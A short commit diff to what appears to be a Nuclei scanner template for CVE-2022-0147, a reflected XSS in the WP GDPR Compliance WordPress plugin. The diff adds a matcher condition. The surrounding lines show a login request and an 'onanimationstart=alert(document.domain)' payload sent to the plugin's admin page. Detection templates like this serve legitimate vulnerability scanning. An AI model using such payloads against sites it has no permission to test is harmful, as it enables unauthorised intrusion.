Update CVE-2022-0147.yaml
parent
d89fc91f50
commit
543ea8edeb
|
@ -27,6 +27,7 @@ requests:
|
|||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||||
|
||||
- |
|
||||
GET /wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28document.domain%29+style%3Danimation-name%3Arotation+x HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
@ -39,6 +40,7 @@ requests:
|
|||
words:
|
||||
- "x=\\' onanimationstart=alert(document.domain) style=animation-name:rotation x'"
|
||||
- "toplevel_page_wp-gdpr-compliance"
|
||||
condition: and
|
||||
|
||||
- type: word
|
||||
part: header
|
||||
|
|
Loading…
Reference in New Issue